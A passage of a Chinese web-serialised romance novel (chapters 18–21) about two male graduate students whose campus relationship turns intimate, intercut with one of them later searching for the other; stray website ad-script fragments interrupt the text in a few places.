陈艾卅赶忙转过身,正想隐匿下去做一个普通的“陈同学”时,背后传来了童宽的话。 “卅哥?” 18. 消气 闻声陈艾卅转过身,看到童宽的脑袋从笔记本屏幕后面露出来,嘴角好像还带着些刚刚和旁边人聊过的笑,看向自己的时候笑意又大了些,陈艾卅心里有些不是滋味,但人招呼也打了,他也不能不搭理。 本来一句简单的打招呼说出口却完全不是这个意思,语气里好像也带了些情绪,“没想到在这里遇见你。” 童宽的表情一愣,然后就站了起来,要朝着陈艾卅走过来,可陈艾卅又紧跟了一句话把童宽的脚步定住了,“我来买个饭打包,你们慢聊。” 接着陈艾卅就直接往柜台那走了过去,刚刚端出来的一份装在碗里的肥牛饭,陈艾卅又让打包了,阿姨忍不住向陈艾卅抱怨了一句,怎么刚刚不说,陈艾卅面无表情,甚至还有些冷淡,落下了一句有急事,就不再多言了,直到阿姨把打包好的饭递给陈艾卅,他说了句谢谢,视线就没有离开过柜台上的校园卡收银机器,果断地往出口走了过去。 童宽旁边的人是谁,他们为什么在笑。 我从宿舍找到超市,都没找到的人,和另一个人在笑。 已经有多少天没见了,童宽你心里没点数吗! 你怎么不找我!? 心里这句话吼出来的时候,陈艾卅拎着饭盒直接在路中间站定了,后面一辆刚拐弯过来的自行车差点没刹住,在他身边扭了个弯过去,还回过头给他比了个中指,陈艾卅感觉胸口有股火憋大劲了,他恨不得直接冲前面骂一句傻逼!但到底还是忍住了。 回到宿舍的时候,越看这份肥牛盖饭越不顺眼,满脑子都是食堂里笔记本电脑屏幕后面两个凑在一起的脑袋,谁知道他们是不是脸对脸笑的。 没想到没过五分钟,童宽回来了。 先是小心翼翼的探了个脑袋,然后轻手轻脚的开门,最后是拧着门把手把门带上的,陈艾卅听见了,可心里的这个气还是没过,就没回头。 “嘿嘿,卅哥,”童宽连书包都没放下,就从裤兜里掏了一盒茉莉花香的薄荷糖放到陈艾卅的桌上,就在那个肥牛盖饭旁边,“给你带的,好几天没见着你了,今天总算有机会给你。” 这小子真行啊,转移焦点玩得溜啊。本来是要自己去质问他怎么好几天不见人影的,现在成了他反过来问自己怎么好几天不见了。陈艾卅看了一眼那盒薄荷糖,张口说了句,“谢谢”,就是口气实在冷淡得可以。 “卅哥,你……”童宽欲言又止,见陈艾卅没搭理他的意思,就继续说了下去,“你面试顺利吗?上次记得问你你还在面试来着。” “不顺利。”明明已经走到了最后一面,等通知就好了的事情,到童宽这,他一点都不想让人痛快,就喜欢把人的小心脏掏出来,和自己的一起裹了面粉在油锅里炸那么几下。 “啊……”童宽挠了挠头,一副绞尽脑汁的模样,“你都不顺利,那这个公司还是别去了。” “为什么?”陈艾卅没忍住接了话茬。 “肯定是骗人的,”童宽不假思索道,“三年之内肯定倒闭。” 陈艾卅噗地一声笑出来了,顺带着长叹了一声,似乎胸口的憋闷找到了一个出口,稍微缓和了些,“别咒我了,我就是觉得一路面试有点累,已经到终面了,现在就看他们总经理怎么想的了。” “真的吗卅哥?你没骗我?”童宽眼睛里露出惊奇,可光刚亮起来没几秒就又暗淡了下去,“你这真真假假的,我都快弄不清了。” 这会儿陈艾卅倒是直接往童宽的眼睛那看过去,“没骗你,真的到终面了。” 见陈艾卅的面色有所缓和,童宽才又露了个笑脸说:“我就知道你刚刚是吓我的。” “知道得还不少啊?” 童宽这才回到自己的位置那,把他身上深蓝色的书包取下来放到地上,接着拿过了桌前的椅子直接摆到了陈艾卅的位置旁边,他是反过来坐的,环着椅背,脑袋歪着搁在了手臂上,说不清是抱怨还是撒娇,“卅哥你不在我晚饭都没着落了。” 不说这个还好,一说这个陈艾卅脑子里两个人头挤在一起的画面又升腾了起来,“我看你吃得挺高兴么,笑成那样了都。” “没吃饭,”童宽直接说道,带着点解释的意思,“我们在聊项目呢。” 陈艾卅瞥了他一眼,没说话。 “挣钱呢,卅哥。”童宽又说了一句。 “哦。”陈艾卅点了点头。 “挺大的项目,能挣两三万呢。”童宽眨了眨眼睛。 “挺好的,加油。” 这不咸不淡的语气,陈艾卅自己都听不下去了。 “那个人叫徐熠”,童宽终于说到了和自己坐在一起的人是谁,“他也研一,不过是在职的,读的MBA,在一家集团公司做市场营销。” “喜欢?”陈艾卅脱口而出,根本不顾后果。 童宽直接愣住了,头也不搁在手臂上了,整个人都坐直了,窘迫肉眼可见。“怎么可能。” “他人怎么样?” “挺好相处的。” “那为什么不可能。” “我说不可能就是不可能。”童宽直接犟起来了。 见着他这样,陈艾卅也不知怎么了,心里放松了下来,又觉得自己刚刚好像有些咄咄逼人,问的这几句话好像都没什么立场,自己对童宽怎么回事儿还没理清楚呢,这几句话问得好像自己是童宽的家里人似的。 但说出口的话又是另外一回事了,不管是不是强装的,陈艾卅说得滴水不漏,连多余值得品味的其他情绪都没有,“哦,读MBA的本身工作经验丰富,见识也挺广的,而且多少有些社会地位,如果人不错的话,倒是可以考虑下。” “卅哥,”童宽皱着眉,急得几乎不知道该怎么解释好了,“别开我玩笑了。” “我没开玩笑。”陈艾卅又跟了一句。 “我——!”童宽的声一下子高了些,像突然胀起来的气球,不过三秒,这气球就瘪了,整个人的气场都缩回了身体里,他的声音很小,咬字却很清晰,“我有喜欢的人。” 是我吗? 陈艾卅的这句话就在嘴边,却没问出口。 斯昀和自己说的那些话历历在耳,他还没那个勇气去确认,何况也有50%的概率不是自己,整得那么自信,回头和自己无关,岂不是个天大的笑话。 陈艾卅看向童宽,恰好童宽的眼睛也看向了自己。 像小土狗一样的眼神,圆溜溜的黑眸,眼圈儿瞪得圆圆的,带着一些乞求,可陈艾卅这次摸不清楚,童宽传递的是“别问,卅哥”还是“问我,卅哥”, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陈艾卅太矛盾了,他总是往前想两步,又往后退三步,他不清楚到底是不是因为自己对同性的这种天生相斥感造成的,还是因为童宽总是看起来那么孤注一掷造成的,斯昀的那两句“童宽会把他当成救命稻草”、“童宽无法全身而退”,他总是在面对童宽的时候能想起来。 “喔……”陈艾卅什么都没说,就把话题转开了,“你没吃饭吧?肥牛饭分一半给你?” 童宽的表情有一瞬间的茫然,接着转了个浅浅的笑,“好。” 他拿了副一次性的碗筷过来,没有主动上手,而是等陈艾卅把饭盒里的饭分了一半给他,接着把一大半的肥牛都夹到了童宽的碗里,又放了点配菜进去,弄好了之后下巴点了点,示意童宽好了。 “卅哥,你的菜是不是太少了。” “不少,我不太饿,你吃吧。” “你就两片肥牛。” “真不饿,你还青春期,长身体呢。” 童宽一下笑了出来,“你就比我大两岁!” “那也是大,让你吃就吃。” 童宽到底也没谦让,也没带着饭回到自己桌子上,而是就这么坐在陈艾卅旁边,一口一口把饭吃掉了,满足得直眯眼睛,像一个饱食了的小土狗,鼻头还是湿湿润润的那种。陈艾卅看着也下饭,跟着把自己这里的小半碗饭也吃完了,没等着童宽收碗,直接拿过了碗,还有宿舍里垃圾桶里的垃圾,一起丢进了楼道尽头的公共垃圾桶里。 回来的时候童宽没有开电脑,而是已经爬到了床上,宿舍阳台的移门开了一半,陈艾卅开了门,就有一股穿堂风吹了过来,把童宽床上的蚊帐吹了起来,在空中卷了个波浪,陈艾卅又看见了他白嫩的小腿,还有脚踝外侧的一个小小的凸起,这次连脚都看完整了。 薄薄的脚背,却没有因为偏瘦而显得瘦骨嶙峋,而是带着点肉的,骨肉匀称大概说的就是这样,脚背白嫩,细骨也不明显,反而有几根青色的血管能透过皮肤看见,他的脚趾不似手指一般纤细,而是顶头处圆圆的,盖着一层修剪得体的指甲盖儿,秀巧可爱。目光及此,陈艾卅忍不住咽了咽唾沫,有些口干舌燥,身体深处好像有一丛火在烤。 “卅哥?”童宽的声音从上铺传来。 “嗯?” “关门,有蚊子呢。” 陈艾卅这才把门轻轻阖上,心里的那股火好像缺了氧一般,也跟着灭了。 “卅哥,你之后还会这么忙吗?” 童宽问自己的声音很轻,轻到让陈艾卅不忍心再说假话。 “如果面上的话,应该不会了。” “真好,”童宽的声音里已经带了些睡意,说得有些糊里糊涂的,“又可以吃到卅哥带的晚饭了。” 说完这句话,童宽的呼吸就变得绵长了起来。 这会儿才六七点,童宽就这么睡着了,他这段日子应该也没少忙吧,想到这里,陈艾卅觉得自己有些无理取闹了,明明一直在为难自己的人是童宽,自己又何必再给他多余的不安,明明这段时间离开的是自己,怎么好意思想问他怎么不来找呢。 陈艾卅回复的声音也很轻,他都不确定童宽有没有听见。 “好,想吃就天天给你带。” 童宽翻了个身,陈艾卅心里的气也跟着消了。 19. 急燥 下一站就要到了,本以为站个两三个停靠站不是事儿的陈艾卅,此刻腿也渐渐麻了,他开始用双脚蹬着地,已经接近了后半夜,窗外的黑天没有一丝亮光,只有火车车轨边上矮矮暗暗的灯。靠在门板上的陈艾卅明显觉得温度降了下来,冰凉的铁板贴在手背上,不一会儿就感到了冰手,可手上越是冷,心里就越着急,后半夜了,童宽还没有消息,他不断刷新着聊天对话框,哪怕只有一个关于童宽的也好,可事实就是无论他怎么刷,童宽的聊天对话框即使置顶了,还是依旧没有新的红点出现。 手机突然电量低报警了一声,陈艾卅看着电量从20跳到19的时候呼吸停滞住了,直到胸口感觉到一阵憋闷,他才想起来换气,接近20的电量,就好像童宽搜救回来的希望一样,陈艾卅此刻都有些不敢用手机,怕电量跑得太快,可又担心收不到消息,人像是被左右拉扯着,感觉都要生生扯裂掉。 一番无用的痛苦后,陈艾卅向自己坦白道,他离开童宽的这大半年,自己也多次责怪过童宽,责怪他为什么当时就坐沙发上一动不动,他可以不起身、可以不挽留自己,可为什么连一句话都不跟自己说,就这么眼睁睁地看着自己离开他们一起住了三年的小家。 这大半年来,陈艾卅也没有回家,只是在之前他们临江的公寓的对面小区租了个一室的房子,搬进去的第一天,就觉得浑身不舒服,挤、太挤了,没有之前能撒开手脚的畅快,更缺的,是一种说不出的憋闷,不是孤独、更不是寂寞,而是从心底里升腾起来的怀疑,“这是哪里”“为什么是这里”“我也没有家了么”,他憋闷到只想在这间屋子里睡觉,他更加努力地工作,有机会就出去出差,他想戒掉每次到小区门口回头看的冲动,可每次不管是开车还是走路,驻足在小区门口的时候,还是会下意识地抬头看一眼,他几乎瞬间就能捕捉到自己和童宽住的那间小屋。 说不后悔,那是假的。 可让他真的再继续面对一个看不见自己的童宽,他也实在不愿。 他要钱,也要前途,可他也想要爱。 他想要童宽的爱,他要得也不多。 只要童宽像过去一样,里里外外地听他叫一声声“卅哥”就好。 —— 陈艾卅的面试出结果了,本来预估只招1个的助理名额被扩容到了2个,HR直白地告诉陈艾卅,说区域总经理在终面的时候很看好自己,但一起进终面的女孩也十分优秀,于是临时向人力资源部提出了加额的申请,最终两个人都通过了。Offer是通过邮件发送到自己邮箱里的,陈艾卅先是给导师打了个电话,说自己拿到心仪的Offer了,导师就呛他说是不是变相催着他给自己改论文呢,陈艾卅笑得贼,说和导师心念合一,他导哼了一声说了句知道了就挂了。陈艾卅讨喜,长得英俊潇洒,会说话,平日里也不小气,还风度翩翩,连带着师母都挺喜欢他的。 他导对他说过最经典的一句话就是,“幸好你不风流,不然自己手下的学生参加明审的时候,都不知道要被关掉几个”,弄得陈艾卅一顿笑,摆着手说不至于。 心里一块大石头落地了,走路的脚步都轻盈了起来,不知不觉又晃到了教育超市,透过梧桐树的映在玻璃上的样子看到了童宽,瘦瘦的,穿了件黄色的马甲,看见陈艾卅走进去的时候,童宽就笑了起来,他能感觉到自己也在笑,旁边的货柜都好像消失了,整个画面就剩下了童宽,甚至空气里还有一些清新的泥土芬芳,那颗虎牙好像变软了,透着一股茉莉的香气,陈艾卅循着就慢慢走到了童宽面前,直到鞋头碰到了收银台的柜子,陈艾卅好像才清醒过来。 “卅哥。”童宽叫了他一声,清脆活泼的声音,像是水晶轻轻碰了一下金属。 陈艾卅的笑意收敛了些,还是微微笑着看他。 “有好消息吗?”童宽倒是笑得更开了些,“说出来让我也开心一下。” “我面试过了。”陈艾卅轻轻说了一句。 “真好,我就知道你一定能行。” “什么时候结束?”陈艾卅看了一眼挂在超市里的钟,“等林琦过来?” “今天林琦不来,”童宽挠了挠头,“她说有个学长硬拉着他去吃饭。” “梁臣吗?” “我不知道,林琦说是个书呆子。” “那应该就是梁臣了,不说话的时候的确有点像书呆子。” “要薄荷糖吗,卅哥?”童宽笑着问他。 “只有薄荷糖吗?”陈艾卅的眼神和话都进了一步。 “那……卅哥你随便拿。” “超市里的都可以?” 童宽点了点头,“都可以,超市外的也可以。” 陈艾卅想了想,看到有人进了超市,还是从收银台前走到了落地玻璃前的高脚桌那靠着,没有回答童宽的话,而是就这么直直地看着他,看着他站在收银机后面,时不时瞟陈艾卅一眼,又给来买东西的学生刷卡扫码,陈艾卅发现,即使别人的手机离扫码的机器近了,童宽也不会直接握着别人的手往上提,而是淡淡地就说一句“手机抬起来些”,应该这会儿是下课时间,来来往往的学生很多,收银台前已经排了三四个人的队伍,童宽却不紧不慢地收银,时不时提醒一两句。 松松散散的碎发、带着点儿活泼的黑眸、细巧的鼻子。 长得真好看啊,清爽又可爱的样子。 相处起来又是个软性子,骨子却带点儿犟。 那张薄薄的唇,不知道吻上去的感觉怎么样。 陈艾卅虽然在校期间不热衷恋爱,却很喜欢接吻的的感觉,每每看一些文艺片,那种淡淡的、循序渐进的吻,总能让自己心痒。 手机响了,陈艾卅拿起来看了一眼,原来是童宽偷偷在给自己发消息。 “卅哥,你还没拿。” “拿什么?”陈艾卅也不介意和他面对面偷着聊天,反而这让他感觉更好。 “随便什么。” “不拿了。”陈艾卅回了一句。 “?”童宽快速打了个问号过来。 “我在等他自己走过来。” 这句话打出来的时候,陈艾卅犹豫了一会儿要不要发出去,可看到童宽拿着手机在笑的样子,他心一横点了发送。 他想一点一点看到,童宽看见这句话的变化,陈艾卅仿佛能看见有一封带着翅膀的信从自己这飞向了童宽,落到手机里的时候正好映入了他的眼睛。 童宽拿着手机的手藏在收银柜的下面,垂着眼眸看过去的时候好像有一丝惊讶,眼睛瞪大了一些,那淡粉色的唇也微微张开了,他好像想往自己这里看过来,可刚刚偏了一个极小的角度之后就定住了,没有再继续望过来,然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后他竟然捏着手机,转了个身,把背留给了自己。 想看他的表情,可到底还是被他遮掩住了。 可他若是遮掩,想遮掩的又是什么样的情绪呢? 正想着,陈艾卅收到了童宽的回复,“还有20分钟。” 陈艾卅大力清了清嗓子,把手机放到了裤兜里面,也背过了身去,手肘撑着高脚桌,就这么向外看着,一阵风刮过,梧桐树的叶片在风里卷起来,连带着那些刺毛球一样的果实在风里摇曳,地上是湿的,刚刚好像飘落了一阵秋雨,洇在地上的水把柏油路的颜色染得更深,看着窗外对比度变高的景色,之前没问出口的那个问题又跳了出来,童宽亲口说喜欢的人是谁,可好像他心里有答案。 他想问,却不敢问。 有些东西揭开了,是不是就会改变一些什么。 他也问自己,想改变吗,怕改变吗。 又想又怕呢?陈艾卅不知道。 自己还有些纠结的时候,童宽走到了自己旁边,这时候身上的黄色马甲已经褪去了,只留了一件白色的五分袖T恤,又穿了条水磨牛仔裤,不紧身,松松落落的那种,可陈艾卅刚刚看见了童宽弯下腰去的时候,束着的腰带向上是白皙的腰,童宽看起来没什么肌肉,连腰线都是流畅的,似乎都能想象手把上去的柔软,眼见着童宽就站在自己旁边,也一言不发,陈艾卅心里甚至有些发慌。 “卅哥,我来了。” 这五个字,陈艾卅甚至不知道该如何解读,自己放出去的愿者上钩,真的上钩了。 “啊。”陈艾卅的眼睛还是看着玻璃外。 “一起去吃饭吗,晚饭?” “想吃什么?” “上次我在对面发现了一家很好吃的川菜。” “好。” 这家的川菜味道很正宗,像是老式传统的那种,可能是因为开在学校附近,知道师生们都挺赶时间的,上菜的深度奇快,两个人点了三个菜吃得也很快,不知道在赶哪门子时间,急到童宽最后买单的时候连嘴都没擦,还是问收银服务员现要的纸巾。 可能真的是菜太辣了,两个人跟被点了炮仗似的匆忙地往回赶,一路奔走到16号楼宿舍的时候,陈艾卅停都没停,三步并着两步跨着楼梯走,愣是把六楼走成了三楼的感觉,在走廊里的时候,辛辣在胃里成了毛孔下的发汗剂,可他先走到门口的时候,发现自己钥匙没带,刚回头童宽就到了门口。 两个人对视了一眼,童宽拿出了钥匙插进圆柄门把手的时候—— 陈艾卅的手直接盖在了童宽的手上,直接握紧了。 四目相对,相顾无言。 手心的烫熨帖上了手背的凉。 这个动作是提醒、是警告、还是制止,谁都分不清楚。 太辣了,烧得两个人顾不上思量其他。 “……卅哥。” 陈艾卅几乎要被童宽的眼神与声音击穿,什么疼痛都比不上现在的冲动难捱。 他带着童宽的手,拧开了门。 秋风捉着了火苗,翻手就遣了云走。 童宽被陈艾卅紧箍在自己和门板中间,他离童宽不过四五厘米的距离,没开灯,宿舍外的亮映了些进来,童宽的眼睛就这么望着陈艾卅,气息却有些急了,发着抖,又喊了陈艾卅一声。 “卅——” 20. 织吻 第一下是陈艾卅吻下去的,只是轻轻用唇碰了碰童宽的唇,就又分开了,还是这么直勾勾地看着童宽,童宽的眼神却躲闪了,望向了旁边的角落,陈艾卅咽了咽,才说出了自吃饭后的第一句话。 “我没有亲过男的。” 童宽的眼睛就直接看过来了,声音也很轻,“我……自愿的也没有。” 第二下也是陈艾卅吻的,比第一下稍微重了一些,能够感受到一些唇上的干燥。 “我不知道我为什么想这样。” 童宽的头低下去了,眼眸也跟着低垂了下去,“我……也不知道该不该这样。” 第三下还是陈艾卅吻的,唇齿轻开,齿关甚至在童宽的唇珠上厮磨了几下。 “可我想这样。” 童宽的头又昂了起来,仿佛下定了决心似的,闭上了眼睛,声音颤抖得都有些找不着调,“那就……这样。” 手抚上童宽颈侧的时候,陈艾卅觉得自己的脑仁都被烧着了,凑下去的唇距离童宽的唇近乎一厘米的时候停住了,两个人的鼻息交互着,胸膛都剧烈起伏着,正当他不知道能不能继续吻下去的时候,童宽往前送了送,没有诱惑、没有技巧,只是把自己的唇轻轻贴到了陈艾卅的唇上,甚至是绷紧了的,几乎没有柔软的感觉,倔强地、孤注一掷地,就这么碰了上去。 陈艾卅真正吻下去的时候,手掌垫在了童宽的后脑勺上,一遍一遍从唇角,啄吻到唇中,几乎没有费力去吮,而是抿着那两片薄薄的唇,抿住的时候,就轻轻往外扯一下,童宽的唇缝就开了,当陈艾卅唇的内侧覆住童宽唇的时候,渐渐上了力气,他从来不知道自己竟然有这样的耐心,好像是一边安抚、一边亲吻,他只是慢慢把舌头探了出去,并没有绷紧肌肉,就这么瘫瘫软软地放在了童宽的唇上,他几乎能感受到童宽颤动的睫毛。 童宽本来就瘦,全身绷紧的情况下,显得更加瘦小,陈艾卅将他攥紧拳头的右手慢慢揉开了,放到了自己的腰间把住,童宽的手就跟钉在那里了一样。 被一个人这样生涩地抱住,陈艾卅几乎起了些暴虐的念头,但一想到这个人是童宽,他的心就软了下去。 放在后脑的手又回到了童宽的颈侧,顺着从下往上捧着童宽的脸颊,另一只手环过了童宽的腰,往自己这里带了一把,胸口撞到了胸口,好像有什么东西被这一撞给撞碎了,在心里叮呤咣啷地脆响,陈艾卅之后就没再那么克制了,他克制得太久了,想抱他、想吻他,同情也好、心疼也好、看不下去也好,什么都好,舌尖不再柔软,化成了沙漠上的风,从南刮到北、从东吹向西,沙漠的坡不断变换着方向,只能随着风的节奏走,吻到有黏腻的声从唇间发出、吻到两人的气息越来越乱,吻到童宽禁不住往下滑。 是怎么把童宽抱上桌子的,陈艾卅不记得了,他只记得这期间童宽没有碰撞到任何地方,他站到童宽腿|间的时候,吻还是没有停,拉链的声音很很小,但就是这个声音彻底锯断了陈艾卅的理智,他不懂男人和男人之间要怎么做|爱,但他知道男人想让自己舒服的时候会怎么做,因为他知道,所以就这么做了。可当童宽的手也探过来的时候,陈艾卅再也藏不住他在情事上的凶狠,手上和腰上都使了劲,两个人就在床铺下的桌面上,弄得一塌糊涂。 童宽的所有动作都是不经事的样子,最后也只是靠在陈艾卅的肩头短促地呼喘着。 那一声“卅哥”,他在这一晚也听到了。 比他偷听到的更加动情。 之前还在探究的问题,这一刻不重要了,童宽已经解了他心中的疑问。 “去洗洗。”陈艾卅拍了拍童宽的背,安抚似的。 童宽看着陈艾卅的眼睛却没有动,疑问、期待、害怕、惊惧都有。 可他这会儿却不知道该怎么回应童宽,吻是他吻的,可他还是没有答案。 “卅哥,”童宽开了嗓,却还是哑的,“对不起。” 陈艾卅皱着眉,童宽说什么都好,唯有对不起三个字,他不想再听到。“别说这个。” 当天晚上两个人还是回到了各自的床铺,睁着眼睛都久久没有睡着。 “卅哥?”童宽轻轻地喊了一声。 陈艾卅不知道该怎么应对,于是便没有答复。 “恭喜你面试成功,”童宽的声音很小很小,仿佛怕惊扰了陈艾卅的睡眠一样。 “可是你上班了的话,是不是就要离校了……” “……我不会缠着你的。” “我会保密的。” 这几句话陈艾卅都听见了,没由来地,他心里有点堵得慌,他从来没有在释放之后这么不畅快,心脏上仿佛滴了一滴醋一样,整个人几乎都要皱起来了,可他还是没有发出声音,思路不清的是他,犹豫的是他,要的是他,不敢要的也是他,他甚至希望童宽这时候不讲理一些,拽着他问要一个结果,骂他也好、逼他也好,强按着自己的脑袋必须选出一个方向,可对面那个人只是静静地,想要假装这件事没发生过,连在这件事上落下风的人,都要维护自己。 陈艾卅觉得自己糟糕透了。 —— 火车靠站的时候,陆陆续续也有一些人跟着下车,明明刚刚陈艾卅是在门边的,可挤着挤着却到了后面,包撞过他、人越过他、箱子直接磕到了他的腿上,看他的表情还是木的,脚踏上月台的时候,一股混着烧煤味的空气钻进了鼻子里,还带着点深夜独有的凉意,陈艾卅没忍住打了个喷嚏,然后就拿着个箱子在人群中站定了。 所有人都如潮涌一般从身边向前走过,他忍不住瑟缩了一下脖子。 衣服好像还是带少了,干燥的冷意袭向了裸露在外面的脸、脖子、手臂上。 陈艾卅已经很困了,即使他不想,干熬了近乎十六七个小时,广播里播放的声音听着已经有些空茫,脚步也虚浮了起来,好像跑了个五千米,整个肩膀和锁骨都有些发酸,他真的感觉有些走不动了,把箱子拖到了出口通道的旁边,人直直地坐了下去,头深埋在膝盖之间,眼睛发酸发胀,脑子里好像有一根线都绷出了声儿,强忍着就要闭上眼睛的本能,可最终还是被睡意打倒了,他就这么坐在行李箱上睡了过去。 列车员走过来的时候,陈艾卅已经睡熟了。 “先生,先生?” 身体被人碰了碰肩膀,身上的血流好像又重启了一样,陈艾卅慢慢睁开眼睛。 “童宽找到了?”他脱口而出。 列车员一脸迷茫,并没有理睬他说的话,“先生,车要开了,赶紧上车吧。” 上车?为什么要上车?不是刚下车么? 陈艾卅环顾了四周,才慢慢反应过来自己还在刚下车的月台,他突然一把抓住来问询他的列车员的手腕,焦急地问几点了,他怕自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一觉睡了个大的,直到回复的时间不过是比停靠时间完了二十分钟而已。 “不好意思,睡着了,谢谢,我是从这站下来的。” “好的,您这边下通道后右拐就到出口了。” 陈艾卅点了点头,又谢过了列车员,站起身来平整了一下自己的衣服,又跺了两脚松散下裤腿,还是从书包里拿出了个充电宝,对着还剩12电量的手机充上了电,他咽了咽唾沫,深吸了一口气。 不能消极、不能放弃。 坚持、坚信、坚定认为童宽还在等待救援。 过去的自己在童宽面前没少犹豫,可从来没见过童宽催促过、埋怨过,都是安安静静地等待陈艾卅的决定,陈艾卅说下一步怎么走,童宽就顺着自己怎么走,有的时候几乎都能清晰地看到这么做童宽会费很多力气,但他也从来没有说过不。 往通道里走的时候,陈艾卅又给童宽发了个微信。 “卅哥错了,我错了,对不起,你回来好不好。” 刚刚眯了的十分钟似乎补充了不少体力,经过洗手间的时候,他进去解了个手,又走到洗手池旁边,打开凉水用手接了一抔水,往自己的脸泼了上去又上下搓了几下,镜子里的自己眼睛通红,早上抹过发蜡的整齐的头发已经乱了,几撮头发丝垂到了太阳穴边,下巴上也冒了些青色。 他突然对着镜子笑了一下。 那时候自己刚做销售第二年,两人虽然确立了恋爱关系,但没有同居,童宽还是住校,陈艾卅就在公司附近租了个小房子,周末有的时候童宽就会住过来。 工作忙的时候,陈艾卅也是成宿成宿地熬,熬一个给客户的提案,反复修改又反复演练,熬一晚上早上醒过来的时候下巴也会冒青色的胡碴,童宽醒了就会亲昵地用脸蹭蹭他,又笑着对陈艾卅说“卅哥你好扎人”,陈艾卅也顾不上是不是洗漱了,就用下巴从他的额头蹭到脖颈,又蹭到他的胸口,学着容嬷嬷的口气说今天就要让他尝尝什么是暴雨梨花针,童宽怕痒,挪着他的脸就说这针太短了不行,陈艾卅就跟他说卅哥给他换个长的,人就一边求饶一边笑,还跟了句卅哥最长了,给陈艾卅直接弄了个哭笑不得。 陈艾卅毕业后,通过一些学生会的关系给童宽换了间两人寝,学校里的两人寝很少,两人寝朝北,学校在南方,冬季尤其湿冷,但除了这个外,几乎没什么缺点,宽敞、自由、宿舍关系简单,陈艾卅还特意给童宽找了个又是研三的人做室友,那人几乎不来学校,童宽就在学校里有了自己的小空间。 他记得那天帮着童宽搬寝的时候,两个人大包小包的,路过也有不少人看向他们,大多数人一知半解,也有少数人真的知情,下到16号楼1楼的时候,不知道有哪个喜欢挑事儿的人对着童宽轻佻地吹了个口哨,陈艾卅直接冲了人家一句,“看什么看!” 那人回过头来又呛了一句,就被旁边的人拉住了。 “这不原来17楼的小屁精吗?新男朋友这么猖狂啊?” 本来陈艾卅都要被童宽拉着往外走了,可他心里的一股火怎么都憋不下去,又回过头大声喊了句,“你他妈没男朋友羡慕啊!?” 走到门口的时候,就看见童宽站在阳光底下对着自己笑,陈艾卅向着他就走了过去。 “卅哥,我都羡慕我自己。” 他就揉了一把童宽的脑袋,说了句,“小呆子。” 21. 说谎 出火车站的时候陈艾卅回头看了一眼,这个小城的火车站好像这几年都没修缮过,地上的水泥路还是坑坑洼洼,一条通道到门口的时候,刷了身份证就算是直接出战了,也没留个接站人的地儿,深夜里在门口等着的,要么是至亲,要么就是拉客的车,四轮儿的、三轮儿的、两轮儿的都有,就是不太多了。可能也是因为到了半夜的关系,招呼声都不如白天那么理直气壮,只有一两个人上来问自己去哪里。 陈艾卅看了看时间,半夜已经没有汽车站发车的了,干等的话又要多等六个小时,可他这会儿连一分钟都有些等不起。陈艾卅走到了一辆老式帕萨特的边上,司机正躺在驾驶座上睡觉,脚翘得老高,车窗开着,他敲了敲车窗玻璃,又直接拍了拍司机的小腿。 “师傅,醒醒。” 司机红着眼睛醒过来的时候目露凶光,似乎下一秒就想把吵醒他的人暴揍一顿。 “干什么!没见着睡觉呢么。” “走不走?”陈艾卅报了一个比较偏远的地名。 司机皱了皱眉,“有点儿远。” “价钱好商量。” “而且我肯定是放空车回来,等于跑两趟。” “按两趟付钱。” 见司机师傅不说话了,陈艾卅又补了句,“我就一个要求。” 师傅动摇了,“你说。” “车不能停,我赶时间,我们轮流开,你开俩小时,我开一小时,车程大概五个小时左右,我们轮两遍。” “这么着急吗,”司机师傅眼珠子滴溜溜转了一圈,“急车我不开,你看这也就我踏实睡觉,不抢单。” 陈艾卅到底是在谈判桌上浸淫了那么久的人,谈不了的叫要求,能谈的都叫做条件,“就因为你睡觉了我才找的你,我需要个精神头好的,付你两倍价钱,你拉一趟抵四趟,怎么样?” 司机师傅立刻就眉开眼笑了,“这我肯定卯足了劲开啊。” 谈拢了后,陈艾卅就把箱子放进了后备箱里,人往后座一钻,只说了句,“我先睡会儿,到点了你喊我。” 师傅称了声好后就启动了车,嘴里叨叨地问陈艾卅这么着急去干嘛。 “找人。”陈艾卅这会儿倒好脾气,直接回答了。 或许是陈艾卅脸色实在是不太好,司机师傅从后视镜看了看陈艾卅的脸,犹犹豫豫地试探着问了句,“找到了之后呢?” “带回家,关起来。” 司机师傅猛踩了一脚刹车,没说出话,好像在犹豫要不要掉头直接去派出所。 陈艾卅苦笑了一下,叹了口气,“开玩笑的,我是去找我爱人。” 师傅这才松了口气,仿佛过来人一般说道,“闹别扭啦?气得回老家了?哎呦,媳妇儿可不就得哄着嘛,年轻人,别那么大气性,你得心放宽点儿。” 陈艾卅“嗯”了一声,又深深叹了口气,又跟了句“是啊”,这会儿终于有人说道他了,他觉得心里好像好过了一些。 —— 不知道是不是前一天情绪起伏太大,好消息和刺激太多,第二天醒过来的时候,陈艾卅觉得头痛得止不住,几乎眼睛都睁不开,他以为只是偏头痛犯了,可刚一起身,整个世界天旋地转的,又觉得浑身发冷,尝试着想说话,发出的声音却是病态的嘶哑,他觉得手心烧得慌,又下意识地用手心去摸额头,一个温度,应该是发烧了,想挣扎着去校医院看看,可太晕了,一点都提不起劲。 陈艾卅往童宽的床那儿看了过去,没有人,又看了一眼手机,已经过了九点了。 想了想,还是给童宽发了个微信。 “中午能顺份白粥回来吗?我好像发烧了。” 几分钟后,见童宽还没有回复,陈艾卅也没有力气再等,索性就把手机放一边了,裹上被子又继续睡了过去。 发发汗的话,就能好得快一点吧,他想。 刚睡下去,就感觉好像眼睛里亮了一道白光,白光由大变小,逐渐变成了一颗虎牙,还有一抹笑,接着是唇,这个唇他记得的,他昨晚刚吻过,由浅入深地吻,舔舐过他齿关,也绞住了他的舌,还有一些生涩的回应。 热……是从心里头烧起来的,火焰向四肢四面八方窜动,从胸口一直蔓延到指尖,血成为烹煮自己的水,好像把声带都烫变形了,他想大声呼喊,可张开了嘴却无法发出声音。 快受不了的时候,胳膊上凉了一些。 好像有谁把周身的火苗扒开了,把他从火里带了出来。 刚感觉有风吹过,额头上就一凉,接着是面颊、脖子、胸口……一直到脚背。 陈艾卅好像浮在了舒适的海面,有风、有浪,整个人都舒服了。 